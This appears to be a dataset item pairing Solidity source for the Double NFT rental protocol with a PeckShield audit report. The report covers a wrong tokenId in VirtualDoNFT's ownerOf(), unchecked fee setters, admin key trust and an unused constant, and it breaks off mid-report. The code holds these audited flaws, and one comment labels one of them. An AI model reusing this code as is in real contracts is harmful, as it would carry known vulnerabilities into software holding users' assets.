getOrignalNftAddress() external view returns(address){ return oNftAddress; } function getWNftId(uint256 originalNftId) public view returns(uint256) { return oid2Wid[originalNftId] ; } function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data ) external override virtual pure returns (bytes4) { bytes4 received = 0x150b7a02; return received; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override{ doNftMapping[tokenId].nonce++; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IBaseDoNFT).interfaceId || super.supportsInterface(interfaceId); } function setBaseURI(string memory newBaseURI) public onlyOwner { _dclURI = newBaseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory){ return string(abi.encodePacked(_dclURI, Strings.toString(tokenId))); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./BaseDoNFT.sol"; contract VirtualDoNFT is BaseDoNFT{ function mintWNft(uint256 oid) public nonReentrant override virtual returns(uint256 tid) { require(oid2Wid[oid] == 0, "already warped"); require(onlyApprovedOrOwner(tx.origin,oNftAddress,oid) || onlyApprovedOrOwner(msg.sender,oNftAddress,oid)); address owner = ERC721(oNftAddress).ownerOf(oid); tid = newDoNft(oid,uint64(block.timestamp),type(uint64).max); oid2Wid[oid] = tid; emit MintWNft(tx.origin,owner,oid, tid); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { if(isWNft(tokenId)){ return ERC721(oNftAddress).ownerOf(tokenId); } return ERC721(address(this)).ownerOf(tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal override virtual { require(!isWNft(tokenId),"cannot transfer wNft"); ERC721._transfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./IWrapDoNFT.sol"; import "./BaseDoNFT.sol"; contract WrapDoNFT is BaseDoNFT,IWrapDoNFT{ using EnumerableSet for EnumerableSet.UintSet; function mintWNft(uint256 oid) public override returns(uint256 tid){ require(oid2Wid[oid] == 0, "already warped"); require(onlyApprovedOrOwner(tx.origin,oNftAddress,oid) || onlyApprovedOrOwner(msg.sender,oNftAddress,oid)); address lastOwner = ERC721(oNftAddress).ownerOf(oid); ERC721(oNftAddress).safeTransferFrom(lastOwner, address(this), oid); tid = mintDoNft(lastOwner,oid,uint64(block.timestamp),type(uint64).max); oid2Wid[oid] = tid; emit MintWNft(tx.origin,lastOwner,oid,tid); } function couldRedeem(uint256 tokenId,uint256[] calldata durationIds) public view returns(bool) { require(isWNft(tokenId) , "not wNFT") ; DoNftInfo storage info = doNftMapping[tokenId]; Duration storage duration = durationMapping[durationIds[0]]; if(duration.start > block.timestamp){ return false; } uint64 lastEndTime = duration.end; for (uint256 index = 1; index < durationIds.length; index++) { require(info.durationList.contains(durationIds[index]),"out of bundle"); duration = durationMapping[durationIds[index]]; if(lastEndTime+1 == duration.start){ lastEndTime = duration.end; } } return lastEndTime == type(uint64).max; } function redeem(uint256 tokenId,uint256[] calldata durationIds) public{ require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); require(couldRedeem(tokenId, durationIds),"cannot redeem"); DoNftInfo storage info = doNftMapping[tokenId]; ERC721(oNftAddress).safeTransferFrom(address(this), ownerOf(tokenId), info.oid); _burnWNft(tokenId); emit Redeem(info.oid,tokenId); } function isWrap() public pure override returns(bool){ return true; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./OwnableContract.sol"; import "./IBaseDoNFT.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; contract DoNFTFactory is OwnableContract{ /**nftAddress => (gameKey => doNFT) */ mapping(address => mapping(address => address)) vritualDoNftMap; mapping(address => address) wrapDoNftMap; mapping(address => address) doNftToNft; address private vritualDoNftImplementation; address private wrapDoNftImplementation; constructor(){ } function createVritualDoNFT(address nftAddress,address gameKey,string calldata name, string calldata symbol) external returns(address) { require(IERC165(nftAddress).supportsInterface(type(IERC721).interfaceId),"no 721"); require(vritualDoNftMap[nftAddress][gameKey] == address(0),"already create"); address clone = Clones.clone(vritualDoNftImplementation); IBaseDoNFT(clone).init(nftAddress,name, symbol); vritualDoNftMap[nftAddress][gameKey] = clone; doNftToNft[clone] = nftAddress; return clone; } function createWrapDoNFT(address nftAddress,string calldata name, string calldata symbol) external returns(address) { require(IERC165(nftAddress).supportsInterface(type(IERC721).interfaceId),"no 721"); require(wrapDoNftMap[nftAddress] == address(0),"already create"); address clone = Clones.clone(wrapDoNftImplementation); IBaseDoNFT(clone).init(nftAddress,name, symbol); wrapDoNftMap[nftAddress] = clone; doNftToNft[clone] = nftAddress; return clone; } function setWrapDoNftImplementation(address imp) public onlyAdmin { wrapDoNftImplementation = imp; } function setVritualDoNftImplementation(address imp) public onlyAdmin { vritualDoNftImplementation = imp; } function getWrapDoNftImplementation() public view returns(address){ return wrapDoNftImplementation; } function getVritualDoNftImplementation() public view returns(address) { return vritualDoNftImplementation; } function getWrapDoNftImplementation(address nftAddress) public view returns(address){ return wrapDoNftMap[nftAddress]; } function getVritualDoNftImplementation(address nftAddress,address gameKey) public view returns(address){ return vritualDoNftMap[nftAddress][gameKey]; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "./OwnableContract.sol"; interface IWrapDoNFT { event Redeem(uint256 oid,uint256 tokenId); function couldRedeem(uint256 tokenId,uint256[] calldata durationIds) external view returns(bool); function redeem(uint256 tokenId,uint256[] calldata durationIds) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "./OwnableContract.sol"; interface IBaseDoNFT is IERC721Receiver { struct Duration{ uint64 start; uint64 end; } struct DoNftInfo { uint256 oid; uint64 nonce; EnumerableSet.UintSet durationList; } event MintWNft(address opreator,address to,uint256 oid,uint256 tokenId); event MetadataUpdate(uint256 tokenId); event DurationUpdate(uint256 durationId,uint256 tokenId,uint64 start,uint64 end); event DurationBurn(uint256[] durationIdList); event CheckIn(address opreator,address to,uint256 tokenId,uint256 durationId); function init(address address_,string memory name_, string memory symbol_) external; function isWrap() external pure returns(bool); function mintWNft(uint256 oid) external returns(uint256 tid); function mint(uint256 tokenId,uint256 durationId,uint64 start,uint64 end,address to) external returns(uint256 tid); function setMaxDuration(uint64 v) external; function getDurationIdList(uint256 tokenId) external view returns(uint256[] memory); function getDurationListLength(uint256 tokenId) external view returns(uint256); function getDoNftInfo(uint256 tokenId) external view returns(uint256 oid, uint256[] memory durationIds,uint64[] memory starts,uint64[] memory ends,uint64 nonce); function getNonce(uint256 tokenId) external view returns(uint64); function getDuration(uint256 durationId) external view returns(uint64 start, uint64 end); function getDuration(uint256 tokenId,uint256 index) external view returns(uint256 durationId,uint64 start, uint64 end); function getWNftId(uint256 originalNftId) external view returns(uint256); function isValidNow(uint256 tokenId) external view returns(bool isValid); function getOrignalNftAddress() external view returns(address); function checkIn(address to,uint256 tokenId,uint256 durationId) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; contract OwnableContract { address public owner; address public pendingOwner; address public admin; event NewAdmin(address oldAdmin, address newAdmin); event NewOwner(address oldOwner, address newOwner); event NewPendingOwner(address oldPendingOwner, address newPendingOwner); constructor(){ owner = msg.sender; admin = msg.sender; } modifier onlyOwner { require(msg.sender == owner,"onlyOwner"); _; } modifier onlyPendingOwner { require(msg.sender == pendingOwner,"onlyPendingOwner"); _; } modifier onlyAdmin { require(msg.sender == admin || msg.sender == owner,"onlyAdmin"); _; } function transferOwnership(address _pendingOwner) public onlyOwner { emit NewPendingOwner(pendingOwner, _pendingOwner); pendingOwner = _pendingOwner; } function renounceOwnership() public virtual onlyOwner { emit NewOwner(owner, address(0)); emit NewAdmin(admin, address(0)); emit NewPendingOwner(pendingOwner, address(0)); owner = address(0); pendingOwner = address(0); admin = address(0); } function acceptOwner() public onlyPendingOwner { emit NewOwner(owner, pendingOwner); owner = pendingOwner; address newPendingOwner = address(0); emit NewPendingOwner(pendingOwner, newPendingOwner); pendingOwner = newPendingOwner; } function setAdmin(address newAdmin) public onlyOwner { emit NewAdmin(admin, newAdmin); admin = newAdmin; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./IMarket.sol"; import "./OwnableContract.sol"; import "./IBaseDoNFT.sol"; //SWC-Presence of unused variables: L9-L18 contract Market is OwnableContract,ReentrancyGuard,IMarket{ uint64 constant private E5 = 1e5; uint64 constant private SECONDS_IN_DAY = 86400; mapping(address=>Credit) internal creditMap; mapping(address=>Royalty) internal royaltyMap; uint256 public fee; uint256 public balanceOfFee; address payable public beneficiary; string private _name; constructor(string memory name_){ _name = name_; } modifier onlyApprovedOrOwner(address spender,address nftAddress,uint256 tokenId) { address owner = ERC721(nftAddress).ownerOf(tokenId); require(owner != address(0),"ERC721: operator query for nonexistent token"); require(spender == owner || ERC721(nftAddress).getApproved(tokenId) == spender || ERC721(nftAddress).isApprovedForAll(owner, spender)); _; } function getName()public view returns(string memory){ return _name; } function mintWNftAndOnLent ( address doNftAddress, uint256 oNftId, uint64 maxEndTime, uint64 minDuration, uint256 pricePerSecond ) public nonReentrant onlyApprovedOrOwner(msg.sender,IBaseDoNFT(doNftAddress).getOrignalNftAddress(),oNftId){ uint256 nftId = IBaseDoNFT(doNftAddress).mintWNft(oNftId); onLent(doNftAddress, nftId, maxEndTime,minDuration, pricePerSecond); } function onLent( address nftAddress, uint256 nftId, uint64 maxEndTime, uint64 minDuration, uint256 pricePerSecond ) public onlyApprovedOrOwner(msg.sender,nftAddress,nftId){ require(IERC165(nftAddress).supportsInterface(type(IBaseDoNFT).interfaceId),"not doNFT"); address owner = ERC721(nftAddress).ownerOf(nftId); Lending storage lending = creditMap[nftAddress].lendingMap[nftId]; lending.lender = owner; lending.nftAddress = nftAddress; lending.nftId = nftId; lending.maxEndTime = maxEndTime; lending.minDuration = minDuration; lending.pricePerSecond = pricePerSecond; lending.nonce = IBaseDoNFT(nftAddress).getNonce(nftId); emit OnLent(owner,nftAddress, nftId, maxEndTime,minDuration,pricePerSecond); } function offLent(address nftAddress, uint256 nftId) public onlyApprovedOrOwner(msg.sender,nftAddress,nftId){ delete creditMap[nftAddress].lendingMap[nftId]; emit OffLent(msg.sender,nftAddress, nftId); } function getLent(address nftAddress,uint256 nftId) public view returns (Lending memory lenting){ lenting = creditMap[nftAddress].lendingMap[nftId]; } function makeDeal(address nftAddress,uint256 tokenId,uint256 durationId,uint64 startTime,uint64 endTime) public nonReentrant payable virtual returns(uint256 tid){ Lending storage lending = creditMap[nftAddress].lendingMap[tokenId]; require(isOnLent(nftAddress,tokenId),"not on lend"); require(endTime <= lending.maxEndTime,"endTime > lending.maxEndTime "); (uint64 dStart,uint64 dEnd) = IBaseDoNFT(nftAddress).getDuration(durationId); if(!(startTime == block.timestamp && endTime== dEnd)){ require((endTime-startTime) >= lending.minDuration,"duration < minDuration"); } distributePayment(nftAddress, tokenId, startTime, endTime); tid = IBaseDoNFT(nftAddress).mint(tokenId, durationId, startTime, endTime, msg.sender); emit MakeDeal(msg.sender, lending.lender, lending.nftAddress, lending.nftId, startTime, endTime, lending.pricePerSecond,tid); } function makeDealNow(address nftAddress,uint256 tokenId,uint256 durationId,uint64 duration) public payable virtual returns(uint256 tid){ tid = makeDeal(nftAddress, tokenId, durationId, uint64(block.timestamp), uint64(block.timestamp + duration)); } function distributePayment(address nftAddress,uint256 nftId,uint64 startTime,uint64 endTime) internal returns (uint256 totolPrice,uint256 leftTotolPrice,uint256 curFee,uint256 curRoyalty){ Lending storage lending = creditMap[nftAddress].lendingMap[nftId]; totolPrice = lending.pricePerSecond * (endTime - startTime); curFee = totolPrice * fee / E5; curRoyalty = totolPrice * royaltyMap[nftAddress].fee / E5; royaltyMap[nftAddress].balance += curRoyalty; balanceOfFee += curFee; leftTotolPrice = totolPrice - curFee - curRoyalty; require(msg.value >= totolPrice); payable(ERC721(nftAddress).ownerOf(nftId)).transfer(leftTotolPrice); if (msg.value > totolPrice) { payable(msg.sender).transfer(msg.value - totolPrice); } } function setFee(uint256 fee_) public onlyAdmin{ fee = fee_; } function setMarketBeneficiary(address payable beneficiary_) public onlyAdmin{ beneficiary = beneficiary_; } function claimFee() public{ require(msg.sender==beneficiary,"not beneficiary"); beneficiary.transfer(balanceOfFee); balanceOfFee = 0; } function setRoyalty(address nftAddress,uint256 fee_) public onlyAdmin{ royaltyMap[nftAddress].fee = fee_; } function setRoyaltyBeneficiary(address nftAddress,address payable beneficiary_) public onlyAdmin{ royaltyMap[nftAddress].beneficiary = beneficiary_; } function claimRoyalty(address nftAddress) public{ royaltyMap[nftAddress].beneficiary.transfer(royaltyMap[nftAddress].balance); royaltyMap[nftAddress].balance = 0; } function isOnLent(address nftAddress,uint256 nftId) public view returns (bool){ Lending storage lending = creditMap[nftAddress].lendingMap[nftId]; return lending.nftId > 0 && lending.maxEndTime > block.timestamp && lending.nonce == IBaseDoNFT(nftAddress).getNonce(nftId); } }// SPDX-License-Identifier: MIT pragma solidity >=0.6.6 <0.9.0; interface IMarket { struct Lending { address lender; address nftAddress; uint256 nftId; uint256 pricePerSecond; uint64 maxEndTime; uint64 minDuration; uint64 nonce; } struct Renting { address payable renterAddress; uint64 startTime; uint64 endTime; } struct Royalty { uint256 fee; uint256 balance; address payable beneficiary; } struct Credit{ mapping(uint256=>Lending) lendingMap; } event OnLent(address lender,address nftAddress,uint256 nftId,uint64 maxEndTime,uint64 minDuration,uint256 pricePerSecond); event OffLent(address lender,address nftAddress,uint256 nftId); event MakeDeal(address renter,address lender,address nftAddress,uint256 nftId,uint64 startTime,uint64 endTime,uint256 pricePerSecond,uint256 newId); function mintWNftAndOnLent( address resolverAddress, uint256 oNftId, uint64 maxEndTime, uint64 minDuration, uint256 pricePerSecond ) external ; function onLent( address nftAddress, uint256 nftId, uint64 maxEndTime, uint64 minDuration, uint256 pricePerSecond ) external; function offLent(address nftAddress,uint256 nftId) external; function getLent(address nftAddress,uint256 nftId) external view returns (Lending memory lenting); function makeDeal(address nftAddress,uint256 tokenId,uint256 durationId,uint64 startTime,uint64 endTime) external payable returns(uint256 tid); function makeDealNow(address nftAddress,uint256 tokenId,uint256 durationId,uint64 duration) external payable returns(uint256 tid); function setFee(uint256 fee) external; function setMarketBeneficiary(address payable beneficiary) external; function claimFee() external; function setRoyalty(address nftAddress,uint256 fee) external; function setRoyaltyBeneficiary(address nftAddress,address payable beneficiary) external; function claimRoyalty(address nftAddress) external; function isOnLent(address nftAddress,uint256 nftId) external view returns (bool); }
Public SMART CONTRACT AUDIT REPORT for Double Protocol Prepared By: Yiqun Chen PeckShield January 21, 2022 1/18 PeckShield Audit Report #: 2022-009Public Document Properties Client Double Protocol Title Smart Contract Audit Report Target Double Version 1.0 Author Xuxian Jiang Auditors Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.1 January 21, 2022 Xuxian Jiang Final Release (Update #1) 1.0 January 16, 2022 Xuxian Jiang Final Release 1.0-rc1 January 11, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/18 PeckShield Audit Report #: 2022-009Public Contents 1 Introduction 4 1.1 About Double Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper ownerOf() Logic in VirtualDoNFT . . . . . . . . . . . . . . . . . . . . . . . 11 3.2 Improved Sanity Checks For System Parameters . . . . . . . . . . . . . . . . . . . . 12 3.3 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.4 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 4 Conclusion 16 References 17 3/18 PeckShield Audit Report #: 2022-009Public 1 | Introduction Given the opportunity to review the design document and related smart contract source code of the Doubleprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About Double Protocol Doubleis an NFTrental protocol designed for blockchain games with a unique set of use cases based on WEB 3.0. The protocol aims to allow its users earn passive income by renting out valuable NFTs with utilities, for example, a virtual property on Decentraland ormetaverse . The protocol also comes with a number of unique features, including compatibility with all ERC-721 tokens, reservation system, no collateral requirement, and sublet function. The basic information of the audited protocol is as follows: Table 1.1: Basic Information of Double ItemDescription NameDouble Protocol Website https://double.one/ TypeEthereum Smart Contract Platform Solidity Audit Method Whitebox Latest Audit Report January 21, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit. 4/18 PeckShield Audit Report #: 2022-009Public •https://github.com/emojidao/double-contract.git (5489c06) And here is the commit ID after all fixes for the issues found in the audit have been checked in. •https://github.com/emojidao/double-contract.git (1d02550) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on the OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/18 PeckShield Audit Report #: 2022-009Public Table 1.3: The Full Audit Checklist Category Checklist Items Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/18 PeckShield Audit Report #: 2022-009Public To evaluate the risk, we go through a checklist of items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/18 PeckShield Audit Report #: 2022-009Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logic Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/18 PeckShield Audit Report #: 2022-009Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the implementation of the Doubleprotocol. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logic, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 2 Low 1 Informational 1 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/18 PeckShield Audit Report #: 2022-009Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 2medium-severity vulnerabilities, 1low-severity vulnerability, and 1informational recommendation. Table 2.1: Key Double Audit Findings ID Severity Title Category Status PVE-001 Medium Proper ownerOf() Logic in Virtual- DoNFTBusiness Logic Fixed PVE-002 Low ImprovedSanityChecksOfFunctionPa- rametersCoding Practices Fixed PVE-003 Medium Trust Issue of Admin Keys Security Features Mitigated PVE-004 Informational Removal of Unused State/Code Coding Practices Fixed Besides the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/18 PeckShield Audit Report #: 2022-009Public 3 | Detailed Results 3.1 Proper ownerOf() Logic in VirtualDoNFT •ID: PVE-001 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: VirtualDoNFT •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Doubleis an NFTrental protocol that allows holders to earn passive income by renting out valuable NFTs with utilities. At the core of the protocol is the BaseDoNFT contract, which is inherited by other contracts such as WrapDoNFT ,VirtualDoNFT , and DclDoNFT. While reviewing the VirtualDoNFT contract, we notice that the function ownerOf() needs to be improved. To elaborate, we show below this ownerOf() function. As the name indicates, this function is designed to query the owner of the given NFT. It comes to our attention that when the given tokenId is a wrapped NFT, the query is redirected to the original token contract. However, it still uses the same tokenId(line 19) which only makes sense to itself. In other words, we need to use doNftMapping [tokenId].oid as the applicable tokenId! 17 function ownerOf ( uint256 tokenId ) public view virtual override returns ( address ) { 18 if( isWNft ( tokenId )){ 19 return ERC721 ( oNftAddress ). ownerOf ( tokenId ); 20 } 21 return ERC721 ( address ( this )). ownerOf ( tokenId ); 22 } Listing 3.1: VirtualDoNFT::ownerOf() Recommendation Properly use the right tokenIdto query its owner. Status This issue has been fixed in the following commit: f77bd8b. 11/18 PeckShield Audit Report #: 2022-009Public 3.2 Improved Sanity Checks For System Parameters •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Market •Category: Coding Practices [6] •CWE subcategory: CWE-1126 [1] Description DeFiprotocolstypicallyhaveanumberofsystem-wideparametersthatcanbedynamicallyconfigured on demand. The Doubleprotocol is no exception. Specifically, if we examine the Marketcontract, it has defined a number of protocol-wide risk parameters, e.g., feeand royaltyFee . In the following, we show an example routine that allows for their changes. 106 function setFee ( uint256 fee_ ) public onlyAdmin { 107 fee = fee_ ; 108 } 109 110 function setMarketBeneficiary ( address payable beneficiary_ ) public onlyAdmin { 111 beneficiary = beneficiary_ ; 112 } 113 114 function claimFee () public { 115 require ( msg . sender == beneficiary ," not beneficiary "); 116 beneficiary . transfer ( balanceOfFee ); 117 balanceOfFee = 0; 118 } 119 120 function setRoyalty ( address nftAddress , uint256 fee_ ) public onlyAdmin { 121 royaltyMap [ nftAddress ]. fee = fee_ ; 122 } 123 124 function setRoyaltyBeneficiary ( address nftAddress , address payable beneficiary_ ) public onlyAdmin { 125 royaltyMap [ nftAddress ]. beneficiary = beneficiary_ ; 126 } Listing 3.2: Example setters in Market Our result shows the update logic on the above parameters can be improved by applying more rigorous sanity checks. Based on the current implementation, certain corner cases may lead to an undesirable consequence. For example, an unlikely mis-configuration of a large feeparameter will revert every fee payment operation. Recommendation Validate any changes regarding these system-wide parameters to ensure they fall in an appropriate range. Also, consider emitting related events for external monitoring and 12/18 PeckShield Audit Report #: 2022-009Public analytics tools. Status This issue has been fixed in the following commit: f77bd8b. 3.3 Trust Issue of Admin Keys •ID: PVE-003 •Severity: Medium •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the Doubleprotocol, there is a privileged adminaccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and fee adjustment). It also has the privilege to control or govern the flow of assets managed by this protocol. Our analysis shows that the privileged account needs to be scrutinized. In the following, we examine the privileged account and the related privileged accesses in current contracts. To elaborate, we show below example privileged routines in the DoNFTFactory contract. These routines allow the adminaccount to set up a new logic contract, which provides the reference imple- mentation for the NFTwrapping operations. 41 function setWrapDoNftImplementation ( address imp ) public onlyAdmin { 42 wrapDoNftImplementation = imp ; 43 } 44 45 function setVritualDoNftImplementation ( address imp ) public onlyAdmin { 46 vritualDoNftImplementation = imp ; 47 } Listing 3.3: DoNFTFactory::setWrapDoNftImplementation() Moreover, the Marketcontract allows the privileged adminto specify the payment allocation for the supported lending of NFTs. It would be worrisome if the privileged adminaccount is a plain EOA account. Note that a multi-sig account could greatly alleviate this concern, though it is still far from perfect. Specifically, a better approach is to eliminate the administration key concern by transferring the role to a community-governed DAO. In the meantime, a timelock-based mechanism can also be considered as mitigation. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. 13/18 PeckShield Audit Report #: 2022-009Public Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed. The team clarifies that a common contract will be deployed on the mainnet, instead of a proxy. And the smart contracts are no longer upgradeable. In addition, the current privileges will be mitigated by a multi-sig account to balance efficiency and timely adjustment. 3.4 Removal of Unused State/Code •ID: PVE-04 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: Market •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description The Doubleprotocol makes good use of a number of reference contracts, such as ERC721,Ownable, and ReentrancyGuard , to facilitate its code implementation and organization. For example, the smart contract Markethas so far imported at least three reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Marketcontract, it defines two constant variables: E5and SECONDS_IN_DAY . However, it turns out the second constant SECONDS_IN_DAY is never used. Hence, this constant can can be safely removed. 8contract Market is OwnableContract , ReentrancyGuard , IMarket { 9 uint64 constant private E5 = 1e5; 10 uint64 constant private SECONDS_IN_DAY = 86400; 11 mapping ( address => Credit ) internal creditMap ; 12 mapping ( address => Royalty ) internal royaltyMap ; 13 uint256 public fee ; 14 uint256 public balanceOfFee ; 15 address payable public beneficiary ; 16 string private _name ; 17 ... 18 } Listing 3.4: State Variables Defined in Market Recommendation Consider the removal of the unused constant variable in the above Market contract. 14/18 PeckShield Audit Report 